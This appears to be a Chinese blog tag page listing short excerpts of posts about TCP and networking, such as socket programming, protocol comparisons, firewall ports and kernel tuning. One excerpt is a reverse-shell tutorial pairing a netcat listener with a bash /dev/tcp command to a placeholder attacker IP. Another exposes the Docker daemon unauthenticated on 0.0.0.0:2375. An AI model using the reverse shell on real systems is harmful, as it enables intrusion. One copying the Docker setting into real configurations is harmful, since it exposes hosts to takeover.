首页 > TAG信息列表 > Tcp
TCP 之 SYN_SENT状态
SYN_SENT是TCP连接的发起方第一次发给接受方的时候设置成的状态。可以通过netstat -ano查看其中 在"state" 中可能会有 SYN_SENT如果在"state"中出现大量的"SYN_SENT ",那么你很有可能中了蠕虫病毒.这类病毒为了感染别的计算机,它就要扫描别的计算机,在扫描的过程中对每个要扫描的计计算机基础知识
计算机网络基础 网络层次划分 OSI七层划分 TCP/IP4层模型、5层模型和OSI七层模型的差别 物理层 物理层的作用:连接不同的物理设备,传输比特流。该层为上层协议提供了一个传输数据的可靠的物理媒体。简单的说,物理层确保原始的数据可在各种物理媒体上传输。 物理层设备: 中继4 TCP通信code
字节序、ip地址和整数转换、tcp/ip通信 0706笔记就记了,但是具体是哪个函数遗忘了,赶紧来复习下 重点:0916面试问道了,ip地址和整数怎么转换 /* #include <arpa/inet.h> // p:点分十进制的IP字符串,n:表示network,网络字节序的整数 int inet_pton(int af, const char *s学习 网络基础知识 TCP协议和UDP协议对比
TCP面向连接的 所有TCP三次握手和四次挥手;UDP是无连接的 TCP是可靠协议;UDP没有连接和确认协议 所以会丢包 会出错 所以是不可靠协议 TCP协议:如果数据量很大 防止丢包 ,能够正确重传,对数据准确性很关心情况下使用 UDP协议:传输量小,不怕丢包 TCP协议 速度慢 效率低 UDP协议 速度快HTTP 与 HTTPS
HTTP 与 HTTPS 有哪些区别? 1. HTTP 是超文本传输协议,信息是明文传输,存在安全风险的问题。HTTPS 则解决 HTTP 不安全的缺陷,在 TCP 和 HTTP 网络层之间加入了 SSL/TLS 安全协议,使得报文能够加密传输。2. HTTP 连接建立相对简单, TCP 三次握手之后便可进行 HTTP 的报文传输。而 HTTPS学习 网络基础知识 TCP协议,TCP三次握手
TCP(Transmission Control Protocol)协议 传输控制协议,顾名思义,就是要对数据的传输进行一定的控制 TCP协议头部组成结构: 序号 sequence number:TCP数据包的一个编号-数据包过大,TCP数据会在网络中分段,分端后到达目的主机要进行重组,每一段按序号顺序重组 seq==1 确认号:acknowledg关于一台windows机器加入到AD域需要开通的防火墙端口记录
背景:因业务需要,最近计划要将一台windows服务器需要加入到AD域环境,因此得提前申请到AD服务器的端口防火墙 于是向AD管理员咨询需要申请那些端口的防火墙,收到回复后,记录于此 Src Server -- > AD firewall port 123 UDP 135 TCP 464 TCP/UDP 49152-65535/TCP 389 TCP/UDP 636 TCP 3linux 添加BBR加速
BBR简介 TCP BBR是由来自Google的 Neal Cardwell 和 Yuchung Cheng 发表的新的TCP拥塞控制算法,目前已经在Google内部大范围使用并且随着linux 4.9版本正式发布。可大幅提升上网的访问速度。 BBR添加 查看内核版本,需要大于4.9 uname -r 开启BBR echo "net.core.default_qdihttp 请求 完整链路, web请求
写在前面 作为程序员的我们每天都在和网络请求打交道,而前端程序员接触的最多的就是HTTP请求。平时工作中,处理网络请求之类的操作是最多的了。但是一个请求从客户端发出到被服务端处理、再回送响应,再被客户端接收这一个闭环的底层细节可能并没有深究过,本篇文章是我的一篇读书笔记,总linux开放指定端口
方式一CentOS:1、开启防火墙systemctl start firewalld2、开放指定端口firewall-cmd --zone=public --add-port=6379/tcp --permanent命令含义:–zone #作用域–add-port=6379/tcp #添加端口,格式为:端口/通讯协议–permanent #永久生效,没有此参数重启后失效3、重启防火墙firewall-cmd动画图解 socket 缓冲区
目录 代码执行send成功后,数据就发出去了吗? 回答这个问题之前,需要了解什么是Socket 缓冲区。 Socket 缓冲区 什么是 socket 缓冲区 编程的时候,如果要跟某个IP建立连接,我们需要调用操作系统提供的 socket API。 socket 在操作系统层面,可以理解为一个文件。 我们可以对这个文件进行一TCP/UDP 编程模型
TCP编程模型 server创建socket套接字 socket套接字--可以理解为文件描述符(file descriptor),UNIX把网络看成文件 /** * @param domain domain参数指定了一个通信域;它选择了将被用于通信的协议族。 比如 AF_UNIX AF_INET * @param type type of sockfd 通信协议 *河北稳控科技DLS11 网关中继器(LTE-LoRA) 数据发送机制
河北稳控科技DLS11 网关中继器(LTE-LoRA) 数据发送机制 DLS11 是 LoRA-LTE 网关设备,专用于接收其它 LoRA 设备发来的数据包存储并在预定的时间间隔后统一发送(目前支持 VSxxx、NLM3、NLM5、NLM6 的 LoRA 数据包格式)。发送的方式有:UART、TCP、EMAIL、FTP、RF,通过设置寄存器 SEND_WCH579M以太网控制板-安装MQTT服务器软件
<p><iframe name="ifd" src="https://mnifdv.cn/resource/cnblogs/CH579_DTU_PBX" frameborder="0" scrolling="auto" width="100%" height="1500"></iframe></p> 说明 MQTT服务器软件只是一个TCH579M以太网控制板-连接路由器或交换机-多台控制板作为TCP服务器和电脑端的TCP客户端通信(控制板使用网线串联)
<p><iframe name="ifd" src="https://mnifdv.cn/resource/cnblogs/CH579_DTU_PBX" frameborder="0" scrolling="auto" width="100%" height="1500"></iframe></p> 说明 这节测试一下多台控制板使用网传输层协议
一、TCP协议介绍 ## TCP特性 1. 工作在传输层 2. 面向连接协议 3. 全双工协议 4. 半关闭 5. 错误检查 6. 将数据打包成段,排序 7. 确认机制 8. 数据恢复,重传 9. 流量控制,滑动窗口 (一)、TCP/IP协议族的传输层协议1.TCP(传输控制协议)(1)TCP是面向连接的、可靠的进程到进程通信的协议。(2)TCTCP协议测试
TCP协议测试 简介 TCP(Transmission Control Protocol传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。 在Python中一般用socket库来创建tcp协议传输。 在部分测试中,我们可能需要模拟tcp服务端或者客户端进行收发消息,其中以模拟客户端居多。 代码示例: 服务端: isokit
简介 sokit 是一个在 windows 平台下免费的 TCP/UDP 测试(调试)工具, 可以用来接收,发送或转发 TCP/UDP 数据包。 它有三种工作模式: 服务器模式、客户端模式、转发器模式。 支持发送 ascii 字符串数据,以及十六进制表示的原始字节,单次发送的字符数目没有限制;收到的数据会同时以这两种【计算机网络】DNS协议介绍
一、DNS协议概念 DNS是域名系统的缩写,提供主机名到IP地址的转换服务。 它是一个由分层的DNS服务器组成的分布式数据库,是定义了主机如何查询这个分布式数据库的方式的应用层协议。 二、DNS协议作用 将域名解析为IP地址,客户端向DNS服务器(DNS服务器有自己的IP地址)发送域名查询请求,DNSportainer dial tcp10.10.185.122:2375 connection refused 错误修复
需要在所有集群中的机器上修改 /usr/lib/systemd/system/docker.service # 修改配置文件 vim /usr/lib/systemd/system/docker.service # 添加配置文件内容 execstart= xxxx -h tcp://0.0.0.0:2375 -h unix:///var/run/docker.sock xxx是代表原有的参数,追加 -h tcp://用bash反弹shell
用bash反弹shell 受害主机;linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击机监听19999端口 受害主机执行:bash -i &> /dev/tcp/[攻击机ip]/[攻击机监听端口] 0>&1 ##反弹shell,bash是linux shell的一种,-i是指linux 内核参数优化
linux 内核参数优化 //允许非本地Ip地址socket监听 net.ipv4.ip_nonlocal_bind = 1 //开启ipv4转发 net.ipv4.ip_forward = 1 //是否开启数据包时间戳 net.ipv4.tcp_timestamps = 0 //端口复用,0表示关闭 net.ipv4.tcp_tw_reuse = 0 //快速回收TIME_WAIT状态,用于大量TIME_OUTtcp
TCP头部格式:双方端口号,序列号,确认应答号,标志位(ACK,SYN,FIN),窗口大小 序列号:初始序列号为时间循环值,每加一次数据,就累加这次数据字节数,用于解决网络包乱序 确认应答号:下一次期望收到的序列号,在这之前的已经全部收到,不用再发了,用于解决丢包问题 TCP面向连接,何为连接:⽤于保证可靠性Linux Kernel TCP/IP Stack|Linux网络硬核系列
介绍Linux网络技术中最核心的部分--TCP/IP协议栈 。 我们先看一下抽象的网络协议栈模型 再按分层思想看Linux内核协议栈实现框架 1. socket layer socket框架 socket系统调用(socket,bind,listen,accept,send,recv等) BSD socket API 协议栈sock抽TCP/UDP协议
TCP/IP 介绍 Transmission Control Protocol/Internet Protocol 传输控制协议/因特网互联协议TCP/IP是一个Protocol Stack,包括TCP、IP、UDP、ICMP、RIP、TELNET、FTP、SMTP、ARP等许多协议最早发源于1969年美国国防部(缩写为DoD)的因特网的前身ARPA网络项目,1983年1月1日